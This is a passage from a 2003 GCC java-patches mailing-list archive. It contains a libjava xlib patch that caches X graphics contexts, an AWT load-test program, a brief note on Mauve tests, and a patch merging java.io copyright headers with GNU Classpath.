17:39:38.000000000 = -0500=0A= @@ -16,6 +16,9 @@ import java.awt.Rectangle;=0A= */=0A= public class Drawable extends XID=0A= {=0A= + private GC[] gcCache =3D new GC[10];=0A= + private int gcCachedCount =3D 0;=0A= +=0A= public Drawable(Display display, int xid)=0A= {=0A= super(display, xid);=0A= @@ -78,5 +81,36 @@ public class Drawable extends XID=0A= =0A= private static final String MSG_XGETSUBIMAGE_FAILED =3D=0A= "XGetSubImage() failed.";=0A= - =0A= +=0A= + protected void finalize() throws Throwable=0A= + {=0A= + // Dispose all the cached GCs, to reduce X server resource usage=0A= + for (int i=3D0; i=3D gcCache.length)=0A= + {=0A= + // List full - extend it to double its present size=0A= + GC[] oldList =3D gcCache;=0A= + gcCache =3D new GC[oldList.length*2];=0A= + System.arraycopy (oldList,0,gcCache,0,oldList.length);=0A= + }=0A= + gcCache[gcCachedCount++] =3D gc;=0A= + }=0A= +=0A= + /** Get a GC from the cache, if available=0A= + * @return A GC from the cache, or null if the cache is empty=0A= + */=0A= + GC getGCFromCache ()=0A= + {=0A= + return (gcCachedCount>0) ? gcCache[--gcCachedCount] : null;=0A= + }=0A= }=0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/GC.java = gcc/libjava/gnu/gcj/xlib/GC.java=0A= --- gcc.patched/libjava/gnu/gcj/xlib/GC.java 2003-02-03 = 12:56:08.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/GC.java 2003-03-19 17:39:15.000000000 -0500=0A= @@ -23,17 +23,25 @@ import java.awt.Rectangle;=0A= */=0A= public class GC implements Cloneable=0A= {=0A= - =0A= - public GC(Drawable target)=0A= + /** Protected constructor, because GC.create(target) should be used = instead.=0A= + */=0A= + protected GC(Drawable target)=0A= {=0A= this.target =3D target;=0A= initStructure(null);=0A= }=0A= =0A= + /** Try to get a suitable GC from the drawable's cache.=0A= + * If there isn't one, create one.=0A= + */=0A= public Object clone()=0A= {=0A= - GC gcClone =3D (GC) super.clone();=0A= - gcClone.structure =3D null;=0A= + GC gcClone =3D target.getGCFromCache ();=0A= + if (gcClone=3D=3Dnull)=0A= + {=0A= + gcClone =3D (GC) super.clone();=0A= + gcClone.structure =3D null;=0A= + }=0A= gcClone.initStructure(this);=0A= gcClone.updateClip();=0A= return gcClone;=0A= @@ -45,15 +53,31 @@ public class GC implements Cloneable=0A= {=0A= return (GC) clone();=0A= }=0A= + =0A= + /** Create a GC, or if one is already cached for target, return that.=0A= + * @param target The Drawable for which a GC is needed=0A= + * @return The new or retrieved GC=0A= + */=0A= + static public GC create (Drawable target)=0A= + {=0A= + GC returnValue =3D target.getGCFromCache ();=0A= + if (returnValue =3D=3D null)=0A= + returnValue =3D new GC (target);=0A= + return returnValue;=0A= + }=0A= =0A= public void finalize()=0A= {=0A= disposeImpl();=0A= }=0A= =0A= + /** Save this GC in the drawable's cache.=0A= + * The "real" dispose (disposeImpl) is called when the=0A= + * drawable is finialized, to free X server resources.=0A= + */=0A= public void dispose()=0A= {=0A= - disposeImpl();=0A= + target.putGCInCache (this);=0A= }=0A= =0A= public synchronized native void disposeImpl();=0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/natClip.cc = gcc/libjava/gnu/gcj/xlib/natClip.cc=0A= --- gcc.patched/libjava/gnu/gcj/xlib/natClip.cc 2003-02-03 = 12:56:08.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/natClip.cc 2003-03-10 16:06:58.000000000 = -0500=0A= @@ -46,7 +46,11 @@ void gnu::gcj::xlib::Clip::init(AWTRectA=0A= xrects =3D reinterpret_cast(xrectvector);=0A= }=0A= =0A= -void gnu::gcj::xlib::Clip::finalize()=0A= +void gnu::gcj::xlib::Clip::dispose()=0A= {=0A= - delete xrects; xrects =3D 0;=0A= + if (xrects)=0A= + {=0A= + delete xrects; =0A= + xrects =3D 0;=0A= + }=0A= }=0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/natGC.cc = gcc/libjava/gnu/gcj/xlib/natGC.cc=0A= --- gcc.patched/libjava/gnu/gcj/xlib/natGC.cc 2003-02-18 = 15:29:13.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/natGC.cc 2003-03-19 16:08:52.000000000 -0500=0A= @@ -34,12 +34,16 @@ void gnu::gcj::xlib::GC::initStructure(G=0A= {=0A= Display* display =3D target->getDisplay();=0A= ::Display* dpy =3D (::Display*) (display->display);=0A= - ::Drawable drawableXID =3D target->getXID();=0A= - =0A= - ::GC gc =3D XCreateGC(dpy, drawableXID, 0, 0);=0A= - =0A= - if (gc =3D=3D 0) =0A= - throw new XException(JvNewStringLatin1("GC creation failed"));=0A= + ::GC gc =3D (::GC) structure;=0A= + if (gc =3D=3D 0)=0A= + {=0A= + // If we haven't already created a GC, create one now=0A= + ::Drawable drawableXID =3D target->getXID();=0A= + gc =3D XCreateGC(dpy, drawableXID, 0, 0);=0A= + structure =3D reinterpret_cast(gc);=0A= + if (gc =3D=3D 0) =0A= + throw new XException(JvNewStringLatin1("GC creation failed"));=0A= + }=0A= =0A= if (copyFrom !=3D 0)=0A= {=0A= @@ -47,8 +51,6 @@ void gnu::gcj::xlib::GC::initStructure(G=0A= XCopyGC(dpy, fromGC, ~0, gc);=0A= // no fast fail=0A= }=0A= -=0A= - structure =3D reinterpret_cast(gc);=0A= }=0A= =0A= void gnu::gcj::xlib::GC::disposeImpl()=0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/Pixmap.java = gcc/libjava/gnu/gcj/xlib/Pixmap.java=0A= --- gcc.patched/libjava/gnu/gcj/xlib/Pixmap.java 2003-02-03 = 12:56:08.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/Pixmap.java 2003-03-19 17:14:39.000000000 = -0500=0A= @@ -25,7 +25,7 @@ public class Pixmap extends Drawable=0A= /* FIXME: don't create a new GC all the time. This might actually=0A= not be as bad as initially believed. The GC cache of Xlib makes=0A= this operation less costly. */=0A= - GC gc =3D new GC(this);=0A= + GC gc =3D GC.create (this);=0A= =0A= gc.putImage(image, 0, 0, 0, 0, image.getWidth(), image.getHeight());=0A= }=0A= diff -r -up gcc.patched/libjava/java/awt/Container.java = gcc/libjava/java/awt/Container.java=0A= --- gcc.patched/libjava/java/awt/Container.java 2003-02-17 = 15:13:38.000000000 -0500=0A= +++ gcc/libjava/java/awt/Container.java 2003-03-06 11:51:43.000000000 = -0500=0A= @@ -1134,10 +1134,17 @@ public class Container extends Component=0A= if (clip.isEmpty()) return;=0A= =0A= Graphics gfx2 =3D gfx.create();=0A= - gfx2.setClip(clip.x, clip.y, clip.width, clip.height);=0A= - gfx2.translate(bounds.x, bounds.y);=0A= + try=0A= + {=0A= + gfx2.setClip(clip.x, clip.y, clip.width, clip.height);=0A= + gfx2.translate(bounds.x, bounds.y);=0A= =0A= - visitor.visit(comp, gfx2);=0A= + visitor.visit(comp, gfx2);=0A= + }=0A= + finally=0A= + {=0A= + gfx2.dispose ();=0A= + }=0A= }=0A= =0A= void dispatchEventImpl(AWTEvent e)=0A= ------=_NextPart_000_00D7_01C2EE45.C3C8DC30 Content-Type: application/octet-stream; name="AwtLoad.java" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="AwtLoad.java" /*=0A= * AwtLoad.java=0A= *=0A= * Created on March 12, 2003, 12:08 PM=0A= */=0A= import java.awt.*;=0A= import java.util.Hashtable;=0A= import java.util.StringTokenizer;=0A= =0A= public class AwtLoad extends Component=0A= {=0A= private Polygon p1, p2;=0A= private int prevWidth=3D0, prevHeight=3D0;=0A= private boolean repetitive =3D false;=0A= private boolean singlePaint =3D false;=0A= private boolean cloneGraphics =3D false;=0A= private int paintCount =3D 0;=0A= private int repeatCount =3D 0;=0A= public boolean running =3D true;=0A= private boolean doTriangles =3D false;=0A= private boolean doText =3D false;=0A= private boolean doLines =3D false;=0A= private boolean doBackground =3D true;=0A= private boolean multiColored =3D false;=0A= private boolean doGc =3D false;=0A= static private Color[] colors =3D {=0A= Color.black,=0A= Color.blue,=0A= Color.cyan,=0A= Color.darkGray,=0A= Color.gray,=0A= Color.green,=0A= Color.lightGray,=0A= Color.magenta,=0A= Color.orange,=0A= Color.pink,=0A= Color.red,=0A= Color.white,=0A= Color.yellow=0A= };=0A= static private int colorIndex =3D 0;=0A= static private Color getNextColor ()=0A= {=0A= if (++colorIndex >=3D colors.length)=0A= colorIndex =3D 0;=0A= return colors[colorIndex];=0A= }=0A= =0A= /** Hash table to look up command-line arguments */=0A= protected Hashtable arguments =3D new Hashtable ();=0A= =0A= public AwtLoad (String[] args)=0A= {=0A= System.out.println("AwtLoad constructor starting");=0A= for( int i=3D0; i=3D repeatCount)=0A= repetitive =3D false;=0A= }=0A= else=0A= System.out.println("paint " + getWidth() + " by " + getHeight() = );=0A= if( getWidth () !=3D prevWidth || getHeight () !=3D prevHeight )=0A= {=0A= p1 =3D null;=0A= prevWidth =3D getWidth();=0A= prevHeight =3D getHeight();=0A= System.out.println("paint size now " + getWidth() + " by " + = getHeight() );=0A= }=0A= if( p1 =3D=3D null )=0A= {=0A= int h =3D getHeight();=0A= int w =3D getWidth();=0A= p1 =3D new Polygon ();=0A= =0A= p1.addPoint ( w/4, h/5 );=0A= p1.addPoint ( w/3+30, h/2 );=0A= p1.addPoint ( w/6, h*2/3 );=0A= =0A= p2 =3D new Polygon ();=0A= =0A= p2.addPoint ( w/2, h/8 );=0A= p2.addPoint ( w-w/6, h/2 );=0A= p2.addPoint ( w/3-30, h/2 );=0A= =0A= }=0A= if (cloneGraphics)=0A= {=0A= g =3D getGraphics(); // basically clones g=0A= }=0A= if (doBackground)=0A= {=0A= g.setColor (Color.white);=0A= g.fillRect (0,0,getWidth (),getHeight ());=0A= }=0A= if (doTriangles)=0A= {=0A= g.setColor (multiColored?getNextColor():Color.blue);=0A= g.fillPolygon( p1 );=0A= g.setColor (multiColored?getNextColor():Color.orange);=0A= g.fillPolygon ( p2 );=0A= }=0A= if (doLines)=0A= {=0A= int offset =3D paintCount % getHeight ();=0A= g.setColor (multiColored?getNextColor():Color.red);=0A= g.drawLine (offset,0,getWidth (),getHeight ()-offset);=0A= g.setColor (multiColored?getNextColor():Color.red);=0A= g.drawLine (getWidth (),offset,0,getHeight ()-offset);=0A= }=0A= if (doText)=0A= {=0A= g.setColor (multiColored?getNextColor():Color.black);=0A= String s =3D "Paint number " + paintCount;=0A= g.drawString (s,5,25);=0A= }=0A= if (!repetitive)=0A= running =3D false;=0A= else=0A= {=0A= if (cloneGraphics)=0A= g.dispose ();=0A= if (doGc)=0A= System.gc();=0A= if (singlePaint)=0A= Toolkit.getDefaultToolkit ().sync ();=0A= else=0A= repaint();=0A= }=0A= } while (singlePaint && running);=0A= }=0A= =0A= public void finalize () throws Throwable=0A= {=0A= System.out.println("AwtLoad finalize called");=0A= repetitive =3D false;=0A= super.finalize ();=0A= }=0A= =0A= public static void main ( String[] args )=0A= {=0A= if (args.length =3D=3D 0)=0A= {=0A= help();=0A= }=0A= else=0A= {=0A= Natives.configureGarbageCollector (1000000);=0A= try=0A= {=0A= System.out.println("AwtLoad - gcj/libjava/xlib AWT load test");=0A= java.awt.Frame f =3D new java.awt.Frame ();=0A= System.out.println("AwtLoad created frame");=0A= AwtLoad comp =3D new AwtLoad (args);=0A= f.add ( comp );=0A= System.out.println("AwtLoad created and added component");=0A= f.pack ();=0A= System.out.println("AwtLoad packed");=0A= f.setVisible (true);=0A= System.out.println("AwtLoad setVisible(true)");=0A= f.repaint();=0A= System.out.println("AwtLoad repaint called");=0A= while (comp.running)=0A= Thread.currentThread ().sleep (100); // wait for final paint = to finish=0A= Toolkit.getDefaultToolkit ().sync ();=0A= f.remove (comp);=0A= f.dispose ();=0A= f =3D null;=0A= comp =3D null;=0A= Toolkit.getDefaultToolkit ().sync ();=0A= for (int i=3D0; i<5; i++)=0A= {=0A= System.out.println("AwtLoad collecting stuff - pass " + (i+1) = );=0A= System.gc();=0A= Natives.flushGC ();=0A= }=0A= System.out.println("AwtLoad Stopping now");=0A= System.exit (0);=0A= }=0A= catch (Throwable t)=0A= {=0A= t.printStackTrace ();=0A= }=0A= }=0A= }=0A= =0A= public Dimension getPreferredSize ()=0A= {=0A= final Dimension dim =3D new Dimension (640,480);=0A= return dim;=0A= }=0A= public Dimension getMinimumSize ()=0A= {=0A= final Dimension dim =3D new Dimension (20,20);=0A= return dim;=0A= }=0A= =0A= }=0A= ------=_NextPart_000_00D7_01C2EE45.C3C8DC30-- From java-patches-return-6539-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 20 00:37:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5273 invoked by alias); 20 Mar 2003 00:37:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5160 invoked from network); 20 Mar 2003 00:37:42 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by sources.redhat.com with SMTP; 20 Mar 2003 00:37:42 -0000 Received: from solomon (a4-p37.syd.fl.net.au [202.181.2.101]) by delenn.fl.net.au (Postfix) with ESMTP id 1572C180085; Thu, 20 Mar 2003 11:46:13 +1100 (EST) Content-Type: text/plain; charset="iso-8859-1" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: tromey@redhat.com Subject: Re: java.security.AlgorithmParamterGenerator.java Date: Thu, 20 Mar 2003 11:37:47 +1100 User-Agent: KMail/1.4.3 Cc: GCC libjava patches References: <200303021715.11260.raif@fl.net.au> <87y93d3b4u.fsf@fleche.redhat.com> <200303180950.25293.raif@fl.net.au> In-Reply-To: <200303180950.25293.raif@fl.net.au> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303201137.51490.raif@fl.net.au> -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 On Tuesday 18 March 2003 09:50, Raif S. Naffah wrote: > On Tuesday 18 March 2003 09:02, Tom Tromey wrote: > > >>>>> "Raif" =3D=3D Raif S Naffah writes: > > > > Raif> q/ ...is there a special procedure to > > specify this in the Mauve Raif> tests; ie. include the new tests > > iff the new classes/interfaces/methods Raif> are checked out? > > ... > > In general I think we just add the new tests. If a given > > implementation can't compile them, they can disable the test easily > > enough. It's friendly to put the new tests in a new file. And if > > the method or class was added in some particular JDK version, tag > > the file that way. > > no worries. i'll add new tests to Mauve soon. new test cases for most of the patches have now been added to Mauve. cheers; rsn -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Que du magnifique iD8DBQE+eQ1b+e1AKnsTRiERAxBZAJ9eQ1L11jNSGxiun2tCbvpfHxXs/wCgoGfX SeHRFxJXQw2Hc89D0SMce3I=3D =3DDg10 -----END PGP SIGNATURE----- From java-patches-return-6540-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 20 07:48:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28744 invoked by alias); 20 Mar 2003 07:48:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28735 invoked from network); 20 Mar 2003 07:48:55 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 20 Mar 2003 07:48:55 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-67-203.ewetel.net [80.228.67.203]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2K7mpjL004354 for ; Thu, 20 Mar 2003 08:48:52 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vum2-0004pb-00 for ; Thu, 20 Mar 2003 08:47:38 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io - copyright statements merged with classpath Date: Thu, 20 Mar 2003 08:49:48 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_cKXe+O8UHv/Ou+N" Message-Id: <200303200849.49301.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_cKXe+O8UHv/Ou+N Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to merge the copyright=20 statements of several classes in java.io with classpath. Now its=20 easier to merge this classes completely with classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+eXKdWSOgCCdjSDsRAos7AJ0f1ZLkxl4rSgmA48u+qvECMcJGXACfblgM /GI0T/r/WFdmtitH3HnmkZ4=3D =3DXn5R =2D----END PGP SIGNATURE----- --Boundary-00=_cKXe+O8UHv/Ou+N Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" diff -Nau /home/mkoch/src/gcc-cvs/libjava//ChangeLog /home/mkoch/src/gcc-work/libjava//ChangeLog --- /home/mkoch/src/gcc-cvs/libjava//ChangeLog 2003-03-19 13:15:57.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava//ChangeLog 2003-03-20 08:42:49.000000000 +0100 @@ -1,3 +1,16 @@ +2003-03-20 Michael Koch + + * java/io/DataOutputStream.java, + java/io/File.java, + java/io/FileInputStream.java, + java/io/FileOutputStream.java, + java/io/InputStreamReader.java, + java/io/LineNumberReader.java, + java/io/OutputStreamWriter.java, + java/io/PrintStream.java, + java/io/RandomAccessFile.java: + Merged copyright statements with classpath for easier merging. + 2003-03-19 Michael Koch * java/lang/Process.java: diff -Nau /home/mkoch/src/gcc-cvs/libjava//java/io/DataOutputStream.java /home/mkoch/src/gcc-work/libjava//java/io/DataOutputStream.java --- /home/mkoch/src/gcc-cvs/libjava//java/io/DataOutputStream.java 2001-12-16 01:14:57.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava//java/io/DataOutputStream.java 2003-03-20 08:36:02.000000000 +0100 @@ -1,12 +1,40 @@ -// DataOutputStream.java - Output filter that implements DataOutput +/* DataOutputStream.java -- Writes primitive Java datatypes to streams + Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. -/* Copyright (C) 1998, 1999 Free Software Foundation +This file is part of GNU Classpath. - This file is part of libgcj. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.io; diff -Nau /home/mkoch/src/gcc-cvs/libjava//java/io/File.java /home/mkoch/src/gcc-work/libjava//java/io/File.java --- /home/mkoch/src/gcc-cvs/libjava//java/io/File.java 2003-03-02 14:36:39.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava//java/io/File.java 2003-03-20 08:36:37.000000000 +0100 @@ -1,12 +1,40 @@ -// File.java - File name +/* File.java -- Class representing a file on disk + Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. -/* Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. +This file is part of GNU Classpath. - This file is part of libgcj. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.io; diff -Nau /home/mkoch/src/gcc-cvs/libjava//java/io/FileInputStream.java /home/mkoch/src/gcc-work/libjava//java/io/FileInputStream.java --- /home/mkoch/src/gcc-cvs/libjava//java/io/FileInputStream.java 2003-01-04 20:38:04.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava//java/io/FileInputStream.java 2003-03-20 08:37:05.000000000 +0100 @@ -1,11 +1,36 @@ -/* Copyright (C) 1998, 1999, 2001, 2002, 2003 Free Software Foundation +/* FileInputStream.java -- An input stream that reads from disk files. + Copyright (C) 1998, 1999, 2001, 2002, 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ - This file is part of libgcj. -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ - package java.io; import java.nio.channels.FileChannel; diff -Nau /home/mkoch/src/gcc-cvs/libjava//java/io/FileOutputStream.java /home/mkoch/src/gcc-work/libjava//java/io/FileOutputStream.java --- /home/mkoch/src/gcc-cvs/libjava//java/io/FileOutputStream.java 2003-03-18 14:40:33.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava//java/io/FileOutputStream.java 2003-03-20 08:37:30.000000000 +0100 @@ -1,12 +1,40 @@ -// FileOutputStream.java - Write bytes to a file. +/* FileOutputStream.java -- Writes to a file on disk. + Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. -/* Copyright (C) 1998, 1999, 2001 Free Software Foundation +This file is part of GNU Classpath. - This file is part of libgcj. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.io; diff -Nau /home/mkoch/src/gcc-cvs/libjava//java/io/InputStreamReader.java /home/mkoch/src/gcc-work/libjava//java/io/InputStreamReader.java --- /home/mkoch/src/gcc-cvs/libjava//java/io/InputStreamReader.java 2003-02-14 13:08:47.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava//java/io/InputStreamReader.java 2003-03-20 08:38:27.000000000 +0100 @@ -1,11 +1,41 @@ -/* Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation +/* InputStreamReader.java -- Reader than transforms bytes to chars + Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. - This file is part of libgcj. +This file is part of GNU Classpath. -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + package java.io; import gnu.gcj.convert.*; diff -Nau /home/mkoch/src/gcc-cvs/libjava//java/io/LineNumberReader.java /home/mkoch/src/gcc-work/libjava//java/io/LineNumberReader.java --- /home/mkoch/src/gcc-cvs/libjava//java/io/LineNumberReader.java 2001-07-02 07:16:24.000000000 +0200 +++ /home/mkoch/src/gcc-work/libjava//java/io/LineNumberReader.java 2003-03-20 08:38:58.000000000 +0100 @@ -1,11 +1,40 @@ -/* Copyright (C) 1998, 1999, 2001 Free Software Foundation +/* LineNumberReader.java -- A character input stream which counts line numbers + Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. - This file is part of libgcj. +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ - package java.io; /** diff -Nau /home/mkoch/src/gcc-cvs/libjava//java/io/OutputStreamWriter.java /home/mkoch/src/gcc-work/libjava//java/io/OutputStreamWriter.java --- /home/mkoch/src/gcc-cvs/libjava//java/io/OutputStreamWriter.java 2003-02-14 13:08:47.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava//java/io/OutputStreamWriter.java 2003-03-20 08:39:30.000000000 +0100 @@ -1,10 +1,40 @@ -/* Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation +/* OutputStreamWriter.java -- Writer that converts chars to bytes + Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. - This file is part of libgcj. +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If 